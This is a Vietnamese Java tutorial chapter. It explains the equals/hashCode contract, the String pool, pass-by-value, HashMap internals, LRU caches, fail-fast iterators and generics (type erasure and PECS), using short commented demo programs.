Ở N1.9: == so sánh hai biến có trỏ cùng một object không, còn equals() so sánh "nội dung" theo cách class tự định nghĩa; hashCode() trả về một số nguyên đại diện cho object, dùng để phân loại nhanh. Mặc định (class Object) cả hai đều dựa trên identity, tức chỉ bằng nhau khi là cùng một object.



Hợp đồng cốt lõi: nếu a.equals(b) là true thì a.hashCode() == b.hashCode(). Chiều ngược lại không bắt buộc: hai object khác nhau có thể trùng hashCode (đó là collision). Ngoài ra equals phải phản xạ, đối xứng, bắc cầu, nhất quán và x.equals(null) trả về false.
Năm tính chất đó nghe học thuật nhưng nói bằng lời thường rất đơn giản:
1. Phản xạ: object luôn bằng chính nó, a.equals(a) là true.
1. Đối xứng: nếu a.equals(b) thì b.equals(a). Vi phạm hay gặp: Email so sánh không phân biệt hoa thường với một String, nhưng String.equals(Email) thì luôn false.
1. Bắc cầu: a bằng b, b bằng c thì a bằng c.
1. Nhất quán: gọi nhiều lần mà object không đổi thì kết quả không đổi (không được dựa vào thời gian hiện tại, số ngẫu nhiên).
1. Khác null: a.equals(null) là false, không được ném NullPointerException.
Để hiểu vì sao hashCode quan trọng, cần biết bucket là gì. HashMap giống một tủ có nhiều ngăn đánh số; mỗi ngăn là một bucket. Khi cất một key, HashMap tính từ hashCode() ra số ngăn và bỏ key vào ngăn đó; khi tìm, nó tính lại số ngăn và chỉ lục trong ngăn đó, nhờ vậy không phải lục cả tủ. Chi tiết cách tính số ngăn nằm ở mục 1.5.
Vì sao hợp đồng này quan trọng? Vì HashMap/HashSet tìm kiếm theo hai bước: dùng hashCode() để chọn bucket, sau đó dùng equals() để so sánh trong bucket. Nếu hai object "bằng nhau" nhưng hashCode khác, chúng rơi vào hai bucket khác nhau và equals() không bao giờ được gọi. Đoạn code dưới đây override equals() cho class Email nhưng quên hashCode(), rồi thêm hai email giống hệt nhau vào một HashSet:
	import java.util.HashSet;
import java.util.Objects;
import java.util.Set;
 
public class EqualsDemo {
    static class Email {
        private final String value;
        Email(String value) { this.value = value; }
 
        @Override
        public boolean equals(Object o) {
            if (this == o) return true;
            if (!(o instanceof Email other)) return false;
            return value.equalsIgnoreCase(other.value);
        }
        // Forgot hashCode() -> falls back to Object's identity hashCode
    }
 
    public static void main(String[] args) {
        Set<Email> set = new HashSet<>();
        set.add(new Email("a@x.com"));
        set.add(new Email("a@x.com"));
        System.out.println(set.size()); // prints: 2 (usually): the "duplicate" slips into the Set
        System.out.println(Objects.hash("a@x.com")); // correct way to build a hashCode from fields
    }
}



Giải thích: set.size() in ra 2 (gần như chắc chắn), dù theo equals() hai email là một. Vì hashCode() không được override, mỗi new Email(...) nhận hashCode theo identity của object, hai giá trị khác nhau nên HashSet đặt chúng vào hai bucket khác nhau và không bao giờ gọi equals() để phát hiện trùng. Dòng Objects.hash(...) chỉ minh họa hàm tiện ích sinh hashCode từ giá trị field. Để sửa, hashCode() phải dựa trên đúng các field mà equals() dùng, theo cùng quy tắc (ở đây là value.toLowerCase() vì equals so sánh không phân biệt hoa thường), ví dụ @Override public int hashCode() { return value.toLowerCase().hashCode(); }; khi đó set.size() in ra 1. Nếu chỉ cần so sánh theo giá trị các field, hãy dùng record: trình biên dịch sinh sẵn equals, hashCode, toString đúng hợp đồng.
Quy tắc "override equals thì phải override hashCode theo cùng field" dễ nói nhưng dễ sai ở chi tiết. Đoạn code dưới đây là bản sửa của Email: thay vì tự viết equals không phân biệt hoa thường rồi phải nhớ viết hashCode khớp, ta chuẩn hóa dữ liệu ngay khi tạo object và để record lo phần còn lại:
	import java.util.HashSet;
import java.util.Set;
 
public class EqualsFixedDemo {
    record Email(String value) {
        Email {
            value = value.toLowerCase(); // normalize once -> equals and hashCode always agree
        }
    }
 
    public static void main(String[] args) {
        Set<Email> set = new HashSet<>();
        set.add(new Email("a@x.com"));
        set.add(new Email("A@X.com"));
        System.out.println(set.size()); // prints: 1
    }
}



Giải thích: Chương trình in ra 1. Khối Email { ... } là compact constructor của record: nó chạy trước khi field được gán, nên mọi Email đều lưu email dạng chữ thường. equals và hashCode do record sinh ra dựa trên field value đã chuẩn hóa, nên hai email chỉ khác hoa thường có cùng hashCode, rơi vào cùng bucket và được equals xác nhận là trùng. So với bản sai ở trên, lỗi không còn chỗ để xảy ra vì không ai phải nhớ đồng bộ hai method bằng tay.
Hậu quả thường gặp trong dự án:
1. Set chứa phần tử trùng, dẫn đến gửi email hai lần, tính tiền hai lần.
1. map.get(key) trả về null dù bạn vừa put một key "giống hệt".
1. Key mutable: bạn put object vào HashMap rồi sửa field tham gia hashCode. Object vẫn nằm ở bucket cũ, không ai tìm thấy, không ai xóa được, về lâu dài thành rò rỉ bộ nhớ. Vì vậy key của HashMap nên là bất biến (String, Long, record, enum).
1.3 String, immutability và String pool
	NHẮC LẠI KIẾN THỨC
Ở N1.8: String là immutable (bất biến), tức mọi method như toUpperCase(), replace() đều trả về String mới chứ không sửa chuỗi cũ; literal như "abc" được lưu trong String pool để dùng chung; so sánh nội dung String phải dùng equals().



String bất biến vì bốn lý do thực tế: (1) cho phép String pool chia sẻ an toàn một instance cho nhiều tham chiếu; (2) thread-safe mà không cần đồng bộ; (3) cache được hashCode, nên String là key HashMap rất rẻ; (4) an toàn: tên file, URL, username đã kiểm tra xong thì không thể bị sửa ngầm sau đó.
String pool nằm trong Heap từ Java 7 (trước đó nằm ở PermGen). Chỉ literal và hằng thời điểm biên dịch được tự động đưa vào pool; chuỗi tạo lúc runtime thì không, trừ khi gọi intern(). Đoạn code dưới đây so sánh bằng == (so sánh tham chiếu, tức "có phải cùng một object") giữa chuỗi literal, chuỗi ghép lúc biên dịch và chuỗi ghép lúc runtime:
	public class StringPoolDemo {
    public static void main(String[] args) {
        String a = "ab";
        String b = "a" + "b";        // compile-time constant -> folded to "ab", shared from the pool
        String p = "a";
        String c = p + "b";          // runtime concatenation -> new object on the Heap
        System.out.println(a == b);           // true
        System.out.println(a == c);           // false
        System.out.println(a.equals(c));      // true: always compare Strings with equals
        System.out.println(a == c.intern());  // true: intern() returns the pooled instance
    }
}



Giải thích: Bốn dòng in ra lần lượt true, false, true, true.
1. a == b là true vì trình biên dịch gộp "a" + "b" thành literal "ab" ngay lúc biên dịch (constant folding), nên a và b trỏ cùng một object trong pool.
1. a == c là false vì p là biến thường, phép ghép chỉ thực hiện lúc runtime và tạo object mới trên Heap; nội dung giống nhưng là hai object khác nhau. Nếu khai báo final String p = "a" thì p + "b" lại thành hằng biên dịch và kết quả đổi thành true, đó là lý do == trên String "lúc đúng lúc sai" rất khó debug.
1. equals() so sánh nội dung nên luôn true; c.intern() tìm trong pool chuỗi có cùng nội dung và trả về chính instance mà a đang trỏ tới.
1. Rút ra: luôn so sánh String bằng equals(), không dựa vào ==.
	
	String
	StringBuilder
	StringBuffer

	Mutable
	Không
	Có
	Có

	Thread-safe
	Có (vì bất biến)
	Không
	Có (method synchronized)

	Dùng khi
	Giá trị, key, hằng
	Ghép chuỗi trong 1 thread
	Hầu như không dùng nữa



Ghép chuỗi bằng + trong một biểu thức đơn thì không cần lo: từ Java 9 trình biên dịch dùng invokedynamic (StringConcatFactory) và tối ưu tốt. Vấn đề là ghép trong vòng lặp: mỗi vòng tạo một String mới và copy toàn bộ nội dung cũ, chi phí tăng theo bình phương. Khi đó dùng StringBuilder (hoặc String.join, Collectors.joining). StringBuffer gần như không còn lý do dùng: hiếm khi nhiều thread cùng ghép vào một buffer, và nếu có thì đó là vấn đề thiết kế.
invokedynamic là một lệnh bytecode (có từ Java 7) cho phép JVM quyết định cách thực thi một lời gọi lúc chạy lần đầu, thay vì trình biên dịch phải viết sẵn toàn bộ code. Với ghép chuỗi, trước Java 9 trình biên dịch sinh sẵn chuỗi lệnh new StringBuilder().append(...).append(...).toString(); từ Java 9 nó chỉ sinh một lệnh invokedynamic, và JVM chọn chiến lược ghép tối ưu nhất cho phiên bản hiện tại. Lợi ích: nâng cấp JDK là tự nhanh hơn mà không cần biên dịch lại. Lambda (mục 1.8) cũng dùng cơ chế này.
Quy tắc "không ghép chuỗi bằng + trong vòng lặp" minh họa rõ nhất bằng cặp code dưới đây, cùng tạo chuỗi 01234:
	public class ConcatLoopDemo {
    public static void main(String[] args) {
        String bad = "";
        for (int i = 0; i < 5; i++) {
            bad += i;          // BAD: a brand-new String each iteration, old content copied
        }
        StringBuilder sb = new StringBuilder();
        for (int i = 0; i < 5; i++) {
            sb.append(i);      // GOOD: appends into one growing buffer
        }
        System.out.println(bad + " " + sb); // prints: 01234 01234
    }
}



Giải thích: Hai cách cho cùng kết quả 01234, khác nhau ở chi phí. Với bad += i, mỗi vòng tạo một String mới và chép lại toàn bộ nội dung cũ: vòng 1 chép 1 ký tự, vòng 2 chép 2 ký tự... n vòng tốn khoảng n²/2 lần chép, cộng thêm n object rác cho GC. Với 5 phần tử không đáng kể, nhưng ghép 100.000 dòng CSV thì chênh lệch là vài mili giây so với hàng chục giây. StringBuilder giữ một mảng ký tự có thể nới rộng, append chỉ ghi thêm vào cuối nên tổng chi phí gần như tuyến tính.
	GHI CHÚ
Một số tài liệu nói "mỗi lần sửa String, object mới được lưu vào String pool". Không đúng: kết quả của concat, substring, replace... là object thường trên Heap, không tự vào pool.



1.4 Java chỉ có pass-by-value
	NHẮC LẠI KIẾN THỨC
Ở N1.14: biến kiểu object trong Java không chứa object mà chứa tham chiếu, giống một tờ giấy ghi địa chỉ nhà. Truyền biến vào method là photo tờ giấy đó: hai tờ cùng chỉ đến một ngôi nhà, nhưng xé hay sửa tờ photo không làm đổi tờ gốc.



Java luôn truyền bản sao giá trị của biến. Với kiểu nguyên thủy, đó là bản sao con số. Với object, đó là bản sao tham chiếu. Vì vậy method có thể sửa trạng thái của object mà tham chiếu trỏ tới, nhưng không thể làm biến bên ngoài trỏ sang object khác. Đoạn code dưới đây truyền một list vào method; method vừa sửa list, vừa gán lại tham số sang một list mới:
	import java.util.ArrayList;
import java.util.List;
 
public class PassByValueDemo {
    static void modify(List<String> list) {
        list.add("x");            // mutates the shared object -> caller sees it
        list = new ArrayList<>(); // only reassigns the local copy of the reference
        list.add("y");            // caller does not see this
    }
 
    public static void main(String[] args) {
        List<String> data = new ArrayList<>();
        modify(data);
        System.out.println(data); // [x]
    }
}



Giải thích: Chương trình in ra [x]. Khi gọi modify(data), tham số list nhận bản sao của tham chiếu, cùng trỏ vào một ArrayList với data. Vì vậy list.add("x") sửa object chung và data thấy thay đổi. Lệnh list = new ArrayList<>() chỉ làm bản sao cục bộ trỏ sang object mới; data bên ngoài vẫn trỏ list cũ, nên "y" được thêm vào list mới và list đó bị bỏ đi khi method kết thúc. Nếu Java là pass-by-reference thật, data sẽ bị đổi thành list mới và in ra [y].
Hệ quả thực tế: nếu method nhận vào một collection hoặc entity và âm thầm sửa nó, caller sẽ bị ảnh hưởng. Đó là lý do nên trả về object mới hoặc dùng List.copyOf() để phòng thủ khi nhận input từ bên ngoài.
Đoạn code dưới đây là cặp sai/sửa cho quy tắc trên: một method thêm tag mặc định vào danh sách tag của khách hàng.
	import java.util.ArrayList;
import java.util.List;
 
public class DefensiveCopyDemo {
    static List<String> addDefaultBad(List<String> tags) {
        tags.add("new");                            // BAD: mutates the caller's list
        return tags;
    }
 
    static List<String> addDefaultGood(List<String> tags) {
        List<String> copy = new ArrayList<>(tags); // GOOD: work on a copy
        copy.add("new");
        return copy;
    }
 
    public static void main(String[] args) {
        List<String> a = new ArrayList<>(List.of("vip"));
        addDefaultBad(a);
        List<String> b = new ArrayList<>(List.of("vip"));
        List<String> r = addDefaultGood(b);
        System.out.println(a + " " + b + " " + r); // prints: [vip, new] [vip] [vip, new]
    }
}



Giải thích: a in ra [vip, new]: caller chỉ muốn đọc kết quả nhưng list gốc của mình bị sửa theo, vì tham số tags là bản sao của tham chiếu, cùng trỏ vào list của caller. Với addDefaultGood, b vẫn là [vip] và kết quả mới nằm trong r. Trong dự án, lỗi kiểu addDefaultBad thường lộ ra khi list đó là field của một entity JPA hoặc một cấu hình dùng chung: sửa nhầm là thay đổi bị ghi xuống DB hoặc ảnh hưởng mọi request sau. Nếu truyền vào List.of(...) (list không sửa được), addDefaultBad còn ném UnsupportedOperationException.
1.5 Collections: chọn đúng cấu trúc và hiểu HashMap từ bên trong
	NHẮC LẠI KIẾN THỨC
Ở N1.11: List giữ thứ tự và cho phép trùng, Set không cho trùng, Map lưu cặp key-value; ArrayList dựa trên mảng, LinkedList dựa trên các node nối nhau, HashMap dựa trên bảng băm. Ký hiệu O(1) nghĩa là thời gian không phụ thuộc số phần tử, O(n) là tăng tuyến tính theo số phần tử, O(log n) là tăng rất chậm (1 triệu phần tử chỉ khoảng 20 bước).



ArrayList và LinkedList trong thực tế
Lý thuyết nói LinkedList chèn/xóa O(1). Thực tế là O(1) chỉ khi bạn đã đứng sẵn ở node đó; muốn chèn vào giữa bạn vẫn phải duyệt O(n) để tìm vị trí. Thêm vào đó, mỗi node LinkedList là một object riêng (thêm hai tham chiếu prev/next và object header), nằm rải rác trên Heap nên CPU cache hoạt động kém. ArrayList dùng mảng liên tục, tăng dung lượng 1,5 lần khi đầy, và System.arraycopy dịch phần tử rất nhanh.
Kết luận thực chiến: dùng ArrayList gần như mọi lúc; cần queue/stack thì dùng ArrayDeque; LinkedList hầu như không có lý do xuất hiện trong code backend mới.
HashMap hoạt động bên trong (Java 8+)
HashMap là một mảng các bucket (Node<K,V>[] table), mặc định dung lượng 16, load factor 0.75. Mảng chỉ được cấp phát ở lần put đầu tiên.
Giải thích từng thuật ngữ trước khi đi vào luồng chạy:
1. Bucket: một ô của mảng table. Mỗi ô chứa null (trống) hoặc node đầu tiên của một danh sách các cặp key-value có cùng chỉ số.
1. Capacity (dung lượng): số ô của mảng, không phải số phần tử đang lưu.
1. Load factor (hệ số tải): tỷ lệ "đầy" cho phép trước khi nới mảng. 0.75 với capacity 16 nghĩa là khi có hơn 12 phần tử thì mảng được nhân đôi. Chọn 0.75 là điểm cân bằng: thấp hơn thì tốn bộ nhớ cho ô trống, cao hơn thì nhiều key chen vào cùng ô và tra cứu chậm đi.
1. Collision (va chạm): hai key khác nhau nhưng tính ra cùng chỉ số bucket.
1. Hash spreading: HashMap không dùng thẳng key.hashCode() mà trộn 16 bit cao xuống 16 bit thấp: hash = h ^ (h >>> 16). Lý do: bước sau chỉ dùng các bit thấp để chọn bucket, nếu không trộn thì các hashCode chỉ khác nhau ở bit cao sẽ dồn vào cùng bucket.
1. Tính index: index = hash & (n - 1), với n là dung lượng mảng. Khi n là lũy thừa của 2, phép AND cho kết quả như lấy dư cho n nhưng rẻ hơn nhiều; vì thế capacity luôn được làm tròn lên lũy thừa của 2.
1. Collision: nếu bucket đã có node, HashMap duyệt danh sách liên kết trong bucket, so sánh hash rồi equals(). Trùng key thì ghi đè value, không trùng thì nối node mới vào cuối.
1. Treeify: khi một bucket có quá 8 node (TREEIFY_THRESHOLD = 8) và dung lượng mảng đã đạt ít nhất 64 (MIN_TREEIFY_CAPACITY), danh sách được chuyển thành cây đỏ đen, tra cứu trong bucket từ O(n) xuống O(log n). Nếu mảng còn nhỏ hơn 64, HashMap chọn resize thay vì treeify. Khi resize tách bucket còn từ 6 node trở xuống (UNTREEIFY_THRESHOLD), cây được chuyển ngược về danh sách.
1. Resize: khi số phần tử vượt capacity * 0.75, mảng được nhân đôi. Từ Java 8, mỗi node hoặc giữ nguyên index, hoặc chuyển sang index + oldCapacity, chỉ cần xét một bit (hash & oldCap), không phải tính lại hash.
Đoạn code dưới đây mô phỏng lại bước 1 và bước 2 ở trên: từ một key tính ra chỉ số bucket mà HashMap sẽ dùng.
	// Simulates how HashMap picks a bucket
static int bucketIndex(Object key, int capacity) {
    int h = (key == null) ? 0 : key.hashCode(); // null key always hashes to 0 -> bucket 0
    int hash = h ^ (h >>> 16);       // mix the high bits into the low bits
    return hash & (capacity - 1);   // capacity is always a power of 2
}



Giải thích: Với capacity 16, capacity - 1 bằng 15, tức 0b1111; phép & giữ lại đúng 4 bit thấp của hash nên kết quả luôn nằm trong khoảng 0–15. Kết quả này bằng hash % 16 nhưng chỉ tốn một lệnh AND và không bao giờ âm (còn % với hash âm cho ra số âm). Bước XOR với h >>> 16 kéo ảnh hưởng của 16 bit cao xuống, để hai key chỉ khác nhau ở bit cao vẫn có cơ hội rơi vào hai bucket khác nhau. Nếu capacity không phải lũy thừa của 2, ví dụ 10 thì capacity - 1 là 0b1001, phép AND chỉ cho ra 4 giá trị (0, 1, 8, 9) và phần lớn bucket bị bỏ trống, đó là lý do HashMap luôn làm tròn capacity lên lũy thừa của 2.
Nhìn tận mắt bảng bucket
Đoạn code dưới đây dùng đúng công thức trên để tính bucket của vài key String với capacity 16 và 32, giúp bạn thấy collision và resize xảy ra thế nào:
	public class BucketDemo {
    static int bucketIndex(Object key, int capacity) {
        int h = (key == null) ? 0 : key.hashCode();
        return (h ^ (h >>> 16)) & (capacity - 1);
    }
 
    public static void main(String[] args) {
        for (String k : new String[] {"Aa", "BB", "an", "binh", "cuong"}) {
            System.out.println(k + ": " + bucketIndex(k, 16) + " -> " + bucketIndex(k, 32));
        }
        // prints: Aa: 0 -> 0 | BB: 0 -> 0 | an: 13 -> 13 | binh: 15 -> 15 | cuong: 15 -> 31
    }
}



Giải thích: "Aa" và "BB" có cùng hashCode() là 2112 (đây là ví dụ kinh điển của collision thật, không chỉ trùng chỉ số), nên luôn chung bucket 0. "binh" và "cuong" có hashCode khác nhau nhưng 4 bit thấp sau khi trộn giống nhau, nên với capacity 16 cùng rơi vào bucket 15. Khi capacity tăng lên 32, phép AND xét thêm một bit (bit giá trị 16): bit đó của "binh" là 0 nên giữ bucket 15, của "cuong" là 1 nên chuyển sang 15 + 16 = 31. Đó chính là quy tắc "giữ nguyên index hoặc chuyển sang index + oldCapacity" ở bước Resize. Vẽ lại bằng chữ, bảng bucket trông như sau:
	capacity = 16                          capacity = 32 (after resize)
index | bucket content                 index | bucket content
------+-------------------------       ------+----------------
  0   | "Aa" -> "BB"   (same hash)      0   | "Aa" -> "BB"
  1   | null                             ...  | null
 ...  | null                             13   | "an"
 13   | "an"                             15   | "binh"
 14   | null                             ...  | null
 15   | "binh" -> "cuong" (collision)    31   | "cuong"



Giải thích: Mỗi dòng là một bucket; dấu -> là con trỏ next nối các node trong cùng bucket thành danh sách liên kết. Khi gọi get("cuong") lúc capacity 16, HashMap tính ra bucket 15, so hash và equals với "binh" (không khớp), đi tiếp sang "cuong" (khớp). Danh sách trong bucket càng dài, tra cứu càng chậm; sau resize, "cuong" được tách ra bucket riêng nên tra cứu lại nhanh.
Treeify: khi danh sách trong bucket quá dài
Giả sử hashCode viết tệ (ví dụ luôn trả về 42) hoặc kẻ tấn công cố tình gửi nhiều key trùng hash. Mọi key dồn vào một bucket, danh sách dài hàng nghìn node và mỗi lần get phải duyệt tuần tự, HashMap thoái hóa thành một danh sách liên kết O(n). Treeify là việc HashMap đổi danh sách trong bucket đó thành cây đỏ đen, một dạng cây nhị phân tìm kiếm tự cân bằng: mỗi node có con trái nhỏ hơn, con phải lớn hơn, và cây tự xoay để không bao giờ bị lệch hẳn về một phía, nên tìm một key chỉ cần đi từ gốc xuống khoảng log₂(n) bước.
	bucket 7 before treeify (9 nodes, linked list):
  k1 -> k2 -> k3 -> k4 -> k5 -> k6 -> k7 -> k8 -> k9     get(k9): 9 comparisons
 
bucket 7 after treeify (red-black tree, ordered by hash, then compareTo):
              k5
           /      \
         k3        k7
        /  \      /  \
      k2    k4  k6    k8
     /                  \
   k1                    k9                             get(k9): 4 comparisons



Giải thích: Với 9 node, danh sách cần tới 9 lần so sánh để tìm k9, còn cây chỉ cần 4 (k5 → k7 → k8 → k9). Cây được sắp theo giá trị hash trước; nếu hash trùng nhau hoàn toàn, HashMap dùng compareTo khi key implement Comparable, nếu không thì phải dò cả hai nhánh. Đó là lý do tài liệu khuyên key nên implement Comparable. Node cây tốn khoảng gấp đôi bộ nhớ node thường, nên HashMap chỉ treeify khi thật cần (trên 8 node và capacity từ 64).
Hệ quả thực tế:
1. Nếu biết trước số phần tử, khởi tạo với dung lượng phù hợp để tránh resize liên tục. Từ Java 19 có sẵn HashMap.newHashMap(expectedSize) tự tính capacity theo load factor.
1. Treeify là lưới an toàn khi hashCode tệ hoặc bị tấn công (cố tình gửi nhiều key trùng hash), không phải lý do để viết hashCode cẩu thả. Để dùng cây hiệu quả, key nên implement Comparable.
1. HashMap cho phép một key null (luôn ở bucket 0) và nhiều value null. ConcurrentHashMap và Hashtable thì không.
1. HashMap không thread-safe. Ở Java 7, resize đồng thời có thể tạo vòng lặp vô hạn trong danh sách bucket (CPU 100%). Java 8 đã sửa lỗi vòng lặp này, nhưng dùng chung HashMap giữa nhiều thread vẫn mất dữ liệu. Dùng ConcurrentHashMap (xem Chương 3).
LinkedHashMap và TreeMap
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	Cấu trúc
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	Cây đỏ đen

	Dùng khi
	Mặc định
	Cần giữ thứ tự, LRU cache
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LinkedHashMap với accessOrder = true và override removeEldestEntry là cách viết LRU cache đơn giản nhất trong một câu phỏng vấn (xem ví dụ ngay dưới). TreeMap dùng compareTo/Comparator thay cho equals, vì vậy compareTo cần nhất quán với equals, nếu không hai key "khác nhau" theo equals nhưng compare bằng 0 sẽ bị coi là một.
LRU (Least Recently Used) là chiến lược bộ nhớ đệm: khi đầy thì bỏ phần tử lâu nhất chưa được dùng. Đoạn code dưới đây viết một LRU cache chứa tối đa 2 phần tử bằng LinkedHashMap:
	import java.util.LinkedHashMap;
import java.util.Map;
 
public class LruCacheDemo {
    static class LruCache<K, V> extends LinkedHashMap<K, V> {
        private final int maxSize;
 
        LruCache(int maxSize) {
            super(16, 0.75f, true); // accessOrder = true: get() moves the entry to the end
            this.maxSize = maxSize;
        }
 
        @Override
        protected boolean removeEldestEntry(Map.Entry<K, V> eldest) {
            return size() > maxSize; // evict the least recently used entry
        }
    }
 
    public static void main(String[] args) {
        LruCache<String, Integer> cache = new LruCache<>(2);
        cache.put("a", 1);
        cache.put("b", 2);
        cache.get("a");    // "a" becomes the most recently used
        cache.put("c", 3); // over capacity -> "b" is evicted
        System.out.println(cache.keySet()); // prints: [a, c]
    }
}



Giải thích: Chương trình in ra [a, c]. Tham số thứ ba true của constructor bật chế độ "thứ tự truy cập": mỗi lần get hoặc put, entry được đưa xuống cuối danh sách, nên đầu danh sách luôn là entry lâu nhất chưa dùng. Sau mỗi put, LinkedHashMap gọi removeEldestEntry; trả về true thì entry đầu bị xóa. Vì "a" vừa được get, entry bị loại là "b". Để ý đây là kế thừa hợp lý: removeEldestEntry là hook mà LinkedHashMap thiết kế sẵn để class con override, đúng điều kiện "class cha được thiết kế để kế thừa" ở mục 1.1. Cache này không thread-safe; production thường dùng Caffeine (xem Chương 8).
Fail-fast iterator
Fail-fast nghĩa là "hỏng thì báo ngay": thay vì chạy tiếp với dữ liệu đã bị thay đổi dưới chân và cho ra kết quả sai âm thầm, iterator chủ động ném exception ngay khi phát hiện bất thường. Giống thủ quỹ đếm tiền: nếu thấy ai đó rút bớt tiền khỏi xấp đang đếm, dừng lại báo lỗi tốt hơn là ghi một con số sai vào sổ.
Các collection trong java.util như ArrayList, HashMap giữ một bộ đếm modCount. Iterator ghi nhớ giá trị này lúc tạo; nếu collection bị sửa cấu trúc bằng đường khác ngoài chính iterator, lần gọi next() tiếp theo sẽ ném ConcurrentModificationException. Đoạn code dưới đây cần xóa các id chẵn khỏi list; dòng bị comment là cách viết sai kinh điển, và lỗi của nó xảy ra ngay cả trong một thread:
	import java.util.ArrayList;
import java.util.List;
 
public class FailFastDemo {
    public static void main(String[] args) {
        List<Integer> ids = new ArrayList<>(List.of(1, 2, 3, 4));
        // for (Integer id : ids) { if (id % 2 == 0) ids.remove(id); } // ConcurrentModificationException
        ids.removeIf(id -> id % 2 == 0); // correct way (or iterator.remove())
        System.out.println(ids); // [1, 3]
    }
}



Giải thích: Nếu bỏ comment dòng for-each, chương trình ném ConcurrentModificationException. Vòng for-each thực chất dùng Iterator; ids.remove(id) sửa list trực tiếp (không qua iterator) nên modCount tăng, và ở lần next() kế tiếp iterator thấy modCount khác giá trị đã ghi nhớ nên ném lỗi. Nguy hiểm hơn, nếu phần tử bị xóa đúng là phần tử kế cuối, vòng lặp kết thúc sớm mà không ném lỗi và âm thầm bỏ sót phần tử cuối. Cách đúng là removeIf: ArrayList tự duyệt và xóa bên trong nên trạng thái luôn nhất quán, in ra [1, 3]; hoặc dùng iterator.remove(), hoặc tạo list mới bằng Stream filter.
Fail-fast chỉ là cơ chế phát hiện lỗi "cố gắng hết sức", không phải cơ chế đồng bộ. Các collection trong java.util.concurrent như ConcurrentHashMap, CopyOnWriteArrayList có iterator weakly consistent: không ném exception, nhưng có thể không phản ánh các thay đổi xảy ra sau khi iterator được tạo.
1.6 Generics: type erasure và PECS
	NHẮC LẠI KIẾN THỨC
Generics là cách viết List<String> thay vì List trơn để trình biên dịch kiểm tra kiểu phần tử, đã dùng xuyên suốt khi học Collections ở N1.11. Quan hệ kế thừa Integer là một Number (N1.5) sẽ được dùng lại ở phần PECS.



Generics kiểm tra kiểu ở compile-time, sau đó bị xóa khỏi bytecode (type erasure): List<String> và List<Integer> lúc runtime đều chỉ là List, trình biên dịch tự chèn lệnh ép kiểu khi lấy phần tử ra. Java chọn cách này để bytecode mới tương thích với code viết trước Java 5.
Type erasure (xóa kiểu) nghĩa là trình biên dịch dùng thông tin <T> để kiểm tra lỗi, rồi xóa nó đi khi sinh bytecode: T được thay bằng giới hạn trên của nó (Object nếu không khai báo, hoặc Comparable nếu viết T extends Comparable<T>), và một lệnh ép kiểu được chèn vào chỗ lấy giá trị ra. Hai đoạn code dưới đây cho thấy điều đó: đoạn thứ nhất là code bạn viết.
	import java.util.ArrayList;
import java.util.List;
 
public class ErasureBefore {
    static <T extends Comparable<T>> T max(List<T> items) {
        T best = items.get(0);
        for (T x : items) {
            if (x.compareTo(best) > 0) best = x;
        }
        return best;
    }
 
    public static void main(String[] args) {
        List<String> names = new ArrayList<>(List.of("an", "binh"));
        String top = max(names);
        System.out.println(top); // prints: binh
        System.out.println(new ArrayList<String>().getClass() == new ArrayList<Integer>().getClass()); // prints: true
    }
}



Đoạn thứ hai là (gần đúng) những gì còn lại trong bytecode sau khi xóa kiểu, viết lại thành Java để dễ đọc:
	import java.util.ArrayList;
import java.util.List;
 
@SuppressWarnings({"rawtypes", "unchecked"})
public class ErasureAfter {
    static Comparable max(List items) {                  // T erased to its bound: Comparable
        Comparable best = (Comparable) items.get(0);
        for (Object o : items) {
            Comparable x = (Comparable) o;
            if (x.compareTo(best) > 0) best = x;
        }
        return best;
    }
 
    public static void main(String[] args) {
        List names = new ArrayList(List.of("an", "binh")); // List<String> becomes raw List
        String top = (String) max(names);                 // cast inserted by the compiler
        System.out.println(top); // prints: binh
    }
}



Giải thích: Cả hai chương trình in ra binh. Ở bản "sau khi xóa kiểu", không còn <T> hay <String> nào: max làm việc với Comparable và Object, còn lệnh (String) ở chỗ gọi là do trình biên dịch chèn vào. Dòng in true ở bản đầu chứng minh lúc runtime ArrayList<String> và ArrayList<Integer> là cùng một class. Từ đây suy ra các hệ quả bên dưới: new T() không làm được vì lúc chạy không còn biết T là gì; instanceof List<String> không làm được vì object không mang theo <String>.
Hệ quả bạn cần nói được:
1. Không thể new T(), new T[], hay obj instanceof List<String> (với obj kiểu Object).
1. Không thể overload process(List<String>) và process(List<Integer>): sau khi xóa kiểu, hai method có cùng chữ ký.
1. Thông tin generic khai báo trên class, field, method signature vẫn còn trong metadata và đọc được bằng reflection. Đó là cách Jackson TypeReference<List<OrderDto>> hay Spring ParameterizedTypeReference giữ được kiểu: tạo một subclass ẩn danh để kiểu generic nằm trong khai báo superclass.
Trước khi đến PECS, cần hai khái niệm. Wildcard là dấu ? trong kiểu generic, nghĩa là "một kiểu nào đó chưa biết": List<? extends Number> là "list của một kiểu con nào đó của Number", List<? super Integer> là "list của một kiểu cha nào đó của Integer". Invariant (bất biến kiểu) nghĩa là dù Integer là con của Number, List<Integer> vẫn không phải con của List<Number>.
Ví dụ đời thường cho PECS: bạn cần lấy trái cây ra từ một giỏ để ăn. Giỏ táo hay giỏ cam đều được, vì thứ lấy ra chắc chắn là trái cây: đó là Basket<? extends Fruit>. Nhưng bạn không được bỏ thêm quả nào vào giỏ đó, vì không biết nó là giỏ chỉ dành cho táo hay cho cam. Ngược lại, bạn cần một cái thùng để bỏ táo vào: thùng táo, thùng trái cây hay thùng thực phẩm đều nhận táo được, đó là Box<? super Apple>; nhưng lấy từ thùng ra thì bạn chỉ biết chắc đó là "một món đồ" (Object). Giỏ là producer (cho ra), thùng là consumer (nhận vào).
PECS (Producer Extends, Consumer Super): nếu tham số chỉ để đọc ra (producer), dùng ? extends T; nếu chỉ để ghi vào (consumer), dùng ? super T. Đoạn code dưới đây viết một method copy tổng quát, với yêu cầu chép được một List<Integer> vào một List<Number>:
	import java.util.ArrayList;
import java.util.List;
 
public class PecsDemo {
    // src produces T (read) -> extends; dest consumes T (write) -> super
    static <T> void copy(List<? extends T> src, List<? super T> dest) {
        for (T item : src) {
            dest.add(item);
        }
    }
 
    public static void main(String[] args) {
        List<Integer> ints = List.of(1, 2, 3);
        List<Number> numbers = new ArrayList<>();
        copy(ints, numbers);        // compiles thanks to the wildcards
        System.out.println(numbers); // [1, 2, 3]
    }
}



